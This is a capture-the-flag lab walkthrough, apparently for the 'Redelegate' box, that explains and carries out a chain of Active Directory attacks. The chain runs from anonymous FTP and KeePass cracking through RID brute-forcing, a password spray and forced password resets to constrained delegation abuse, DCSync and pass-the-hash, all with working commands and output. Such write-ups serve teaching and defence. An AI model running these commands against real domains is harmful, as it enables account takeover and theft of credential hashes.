Introduction
Redelegate is a Windows Domain Controller that chains five distinct misconfigurations together, starting from anonymous FTP all the way to full domain compromise. Each step hands off cleanly to the next - this is one of the best boxes for learning how real-world AD attack paths are built. The path to root:
- Enumeration → anonymous FTP exposes a KeePass database and two text files
- Crack the KeePass vault → hint in the text files → season-based wordlist →
Fall2024! - MSSQL RID brute-force → SQLGuest login → enumerate all domain usernames via SID walking
- Password spray →
Marie.CuriereusedFall2024!as her domain password - BloodHound →
Marie.Curieis inHelpDesk→ForceChangePasswordoverHelen.Frost - Change Helen’s password → get a WinRM shell as
Helen.Frost(user flag here) - Constrained Delegation setup →
Helen.FrosthasSeEnableDelegationPrivilege+GenericAlloverFS01$ - Configure FS01$ for constrained delegation → set password, set
TRUSTED_TO_AUTH_FOR_DELEGATION, setmsDS-AllowedToDelegateTo = cifs/dc.redelegate.vl - S4U2self + S4U2Proxy → impersonate the DC machine account → get a CIFS ticket to the DC
- DCSync → Pass-the-Hash → dump Administrator hash → WinRM as Administrator → root flag
Key Concepts
What is a KeePass .kdbx file? KeePass is a password manager that stores credentials in an encrypted database. The .kdbx format is protected by a master password. If that password is weak enough, keepass2john can extract a crackable hash and john can break it with a wordlist.
What is MSSQL RID brute-forcing? Every Windows account has a Security Identifier (SID). Domain SIDs share the same prefix and end with a unique RID (Relative ID) number. Even with limited SQL access, MSSQL can call built-in functions like SUSER_SNAME() to resolve SIDs to usernames. By iterating through RID numbers, you can enumerate every domain user - no LDAP access required.
What is a password spray? Instead of trying many passwords against one account (which triggers lockout), a spray tries one password against many accounts. Here we take the KeePass master password and test it against every username we just enumerated.
What is ForceChangePassword? An Active Directory ACL right that allows the holder to reset another user’s password - without knowing their current one. It’s different from a normal password reset because it bypasses the “confirm old password” check. If HelpDesk members have this right over user accounts, it’s a privilege escalation path.
What is SeEnableDelegationPrivilege? A Windows user right titled “Enable computer and user accounts to be trusted for delegation.” Normally only Domain Admins can configure Kerberos delegation on accounts. This privilege grants that same ability to any account it’s assigned to - making it extremely powerful.
What is Constrained Delegation? A Kerberos feature that allows a service account to impersonate any user when accessing a specific set of target services. It’s configured via the msDS-AllowedToDelegateTo LDAP attribute. Combined with the TRUSTED_TO_AUTH_FOR_DELEGATION flag (Protocol Transition / S4U2self), the account can impersonate any user - including Domain Admins - against the listed service, without needing the target user’s credentials.
What is S4U2self + S4U2Proxy? Two Kerberos extensions used by constrained delegation. S4U2self lets a service request a ticket to itself on behalf of any user. S4U2Proxy then uses that ticket to request access to the target service (in our case cifs/dc.redelegate.vl) on that user’s behalf. The result is a valid service ticket that the DC accepts as if the impersonated user actually authenticated.
What is DCSync? A technique that abuses the MS-DRSR replication protocol. Domain Controllers use it to sync with each other. If you can present valid DC credentials (or a service ticket granting DC-level access), you can ask a DC to “replicate” any account’s password hash to you - without touching the disk or running code on the DC itself.
Enumeration
Nmap
ports=$(nmap -Pn -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -Pn -p$ports -sC -sV <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 21 | FTP - anonymous login allowed | Has files visible without credentials |
| 88 | Kerberos | Confirms Domain Controller |
| 389 / 636 | LDAP / LDAPS | Domain: redelegate.vl |
| 445 | SMB | |
| 1433 | MSSQL 2019 | Non-default on a DC - investigate |
| 5985 | WinRM | Remote management |
| 3389 | RDP |
Two unusual services on a DC: anonymous FTP and MSSQL. Start with FTP.
FTP: Anonymous access
ftp <TARGET>
# Name: anonymous
# Password: (blank)
ftp> binary
ftp> mget *
Downloads: CyberAudit.txt, TrainingAgenda.txt, Shared.kdbx
Why binary mode for the
.kdbx? FTP defaults to ASCII transfer mode, which mangles binary files by converting line endings. KeePass databases are binary - always switch to binary mode before downloading them, or the file will be corrupted and uncrackable.
Read the text files. TrainingAgenda.txt warns staff against weak passwords like SeasonYear! and gives Spring2024! as an example to avoid.
Crack the KeePass Database
Build a targeted wordlist
The training document is a hint - create a small seasonal wordlist:
Spring2024!
Summer2024!
Autumn2024!
Fall2024!
Winter2024!
Extract and crack the hash
keepass2john Shared.kdbx > Shared.kdbx.hash
john --wordlist=pass.txt Shared.kdbx.hash
KeePass master password: Fall2024!
Open the database
Open Shared.kdbx with keepassxc using Fall2024!. It contains four entries for domain users:
FS01 Admin→ AdministratorFTP→ FTPUser (marked Deprecated)SQL Guest Access→ SQLGuest :zDPBpaF4FywlqIv11viiWEB01→ WordPress credentials
None of the domain user passwords work directly for SMB/WinRM - but the
SQLGuestcredentials are valid for a local MSSQL login.
MSSQL: RID Brute-Force to Enumerate Domain Users
Confirm the SQL login
netexec mssql <TARGET> -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
# [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii
Enumerate domain accounts via SID walking
Even a guest SQL login can call SUSER_SNAME() to resolve domain SIDs to usernames. Use Metasploit’s module to iterate through all RIDs:
msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 > set RHOST <TARGET>
msf6 > set USERNAME SQLGuest
msf6 > set PASSWORD zDPBpaF4FywlqIv11vii
msf6 > set FUZZNUM 9999
msf6 > exploit
This returns a full list of domain accounts including Marie.Curie, Helen.Frost, Ryan.Cooper, sql_svc, and groups like HelpDesk and Finance.
Save the usernames to users.txt.
Password Spray → Marie.Curie
netexec smb redelegate.vl -u users.txt -p pass.txt
Hit: REDELEGATE\Marie.Curie : Fall2024!
She reused the KeePass master password as her domain password - exactly the kind of weak practice the training document warned against.
Check what Marie can do - MachineAccountQuota is 0 (can’t add computers) and DNS writes are blocked. Time to map the domain with BloodHound.
Run BloodHound
bloodhound-python -u 'marie.curie' -p 'Fall2024!' -d redelegate.vl \
-dc dc.redelegate.vl --zip -c All -ns <TARGET>
Upload the zip to BloodHound. Key finding:
Marie.Curie → MemberOf → HelpDesk → ForceChangePassword → Helen.Frost
Helen.Frost → CanPSRemote → DC.redelegate.vl
Helen.Frost → MemberOf → IT → GenericAll → FS01$
Foothold: Force-Change Helen.Frost’s Password → WinRM
Get a TGT for Marie.Curie
impacket-getTGT redelegate.vl/marie.curie:'Fall2024!'
export KRB5CCNAME=marie.curie.ccache
Force-change Helen’s password with BloodyAD
bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
set password "HELEN.FROST" 'Password1!'
# [+] Password changed successfully!
What is
ForceChangePassword? This AD right lets you set a new password for another account without knowing the current one. Normally only admins can do this. TheHelpDeskgroup having it overHelen.Frostmeans anyone in HelpDesk can take over that account instantly.
WinRM as Helen.Frost
evil-winrm -i redelegate.vl -u HELEN.FROST -p 'Password1!'
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents>
✅ User flag captured. C:\Users\Helen.Frost\Desktop\user.txt
Privilege Escalation: Constrained Delegation → DCSync → Administrator
Check Helen’s privileges
whoami /priv
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
Why does
SeEnableDelegationPrivilegematter? Normally only Domain Admins can set theTRUSTED_TO_AUTH_FOR_DELEGATIONflag or write tomsDS-AllowedToDelegateToon AD objects. This privilege grants the same ability to regular accounts - a severe misconfiguration.
BloodHound also shows: Helen.Frost → MemberOf → IT → GenericAll → FS01$
GenericAll means full control over the FS01$ machine account - we can change its password and modify any of its attributes.
Step 1: Get a TGT for Helen.Frost
impacket-getTGT redelegate.vl/HELEN.FROST:'Password1!'
export KRB5CCNAME=HELEN.FROST.ccache
Step 2: Set a known password on FS01$
bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
set password "FS01$" 'Password1!'
# [+] Password changed successfully!
Verify:
netexec smb redelegate.vl -u 'FS01$' -p 'Password1!'
# [+] redelegate.vl\FS01$:Password1!
Step 3: Enable Protocol Transition (S4U2self)
bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
# ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$ userAccountControl
What is
TRUSTED_TO_AUTH_FOR_DELEGATION? This flag (also called Protocol Transition) enables S4U2self - allowingFS01$to request a service ticket to itself on behalf of any user, without that user’s password or TGT. It’s the key that makes impersonation possible.
Step 4: Set the delegation target
bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
# [+] FS01$'s msDS-AllowedToDelegateTo has been updated
What does this do?
msDS-AllowedToDelegateTois the list of services thatFS01$is trusted to act on behalf of users for. Setting it tocifs/dc.redelegate.vlmeansFS01$can impersonate any user (including Administrator) when accessing the DC’s file system (CIFS). This is constrained delegation - constrained to that one service.
Step 5: S4U2Proxy: impersonate the DC machine account
impacket-getST redelegate.vl/fs01\$:'Password1!' \
-spn cifs/dc.redelegate.vl \
-impersonate dc
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc.ccache
Why impersonate
dc(the machine account)? The DC’s machine account (DC$) has DCSync rights by default - it’s how real Domain Controllers replicate with each other. By impersonating it, we can call the replication API and request any account’s hash.
Step 6: DCSync: dump the Administrator hash
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k dc.redelegate.vl -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
Step 7: Pass-the-Hash → Administrator shell
evil-winrm -i redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
*Evil-WinRM* PS C:\Users\Administrator\Documents>
✅ Root flag captured. C:\Users\Administrator\Desktop\root.txt
Summary
nmap → port 21 (FTP anonymous), port 1433 (MSSQL)
↓
ftp anonymous → Shared.kdbx + TrainingAgenda.txt + CyberAudit.txt
↓
TrainingAgenda.txt → "avoid SeasonYear! passwords" → seasonal wordlist
↓
keepass2john + john → KeePass master: Fall2024!
↓
KeePass entries → SQLGuest:zDPBpaF4FywlqIv11vii (local MSSQL login)
↓
mssql_enum_domain_accounts → RID brute-force → full domain user list
↓
netexec password spray → Marie.Curie:Fall2024! (password reuse)
↓
bloodhound-python → Marie.Curie → HelpDesk → ForceChangePassword → Helen.Frost
Helen.Frost → CanPSRemote → DC
Helen.Frost → IT → GenericAll → FS01$
↓
impacket-getTGT (marie.curie) → bloodyAD set password Helen.Frost → Password1!
↓
evil-winrm Helen.Frost → whoami /priv → SeEnableDelegationPrivilege ← key!
→ USER FLAG
↓
impacket-getTGT (Helen.Frost)
bloodyAD set password FS01$ → Password1! (GenericAll)
bloodyAD add uac FS01$ TRUSTED_TO_AUTH_FOR_DELEGATION (SeEnableDelegationPrivilege)
bloodyAD set msDS-AllowedToDelegateTo = cifs/dc.redelegate.vl
↓
impacket-getST -spn cifs/dc.redelegate.vl -impersonate dc → dc.ccache
↓
impacket-secretsdump -k → Administrator:ec17f7a2a4d96e177bfd101b94ffc0a7
↓
evil-winrm -H <hash> → htb\administrator → ROOT FLAG
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| keepass2john | Extracts a crackable hash from a .kdbx KeePass database | Built into Kali (john suite) |
| john | Password cracker (used here for the KeePass hash) | sudo apt install john |
| keepassxc | Opens and reads KeePass databases | sudo apt install keepassxc |
| netexec (nxc) | Swiss-army AD tool - MSSQL auth, SMB spray, WinRM, MAQ checks | pip install netexec |
Metasploit mssql_enum_domain_accounts | RID brute-forces domain accounts via MSSQL’s SID resolution | Built into Metasploit |
| bloodhound-python | Collects AD data for BloodHound graph analysis | pip install bloodhound |
| BloodHound | Visualises AD attack paths | github.com/BloodHoundAD/BloodHound |
| impacket-getTGT | Requests a Kerberos TGT | Part of impacket |
| BloodyAD | Performs LDAP-based AD modifications (password changes, UAC flags, attribute writes) | pip install bloodyad |
| impacket-getST | Requests a service ticket via S4U2self + S4U2Proxy (constrained delegation abuse) | Part of impacket |
| impacket-secretsdump | DCSync - dumps domain hashes using the DRSUAPI replication protocol | Part of impacket |
| evil-winrm | WinRM shell; supports Pass-the-Hash with -H | gem install evil-winrm |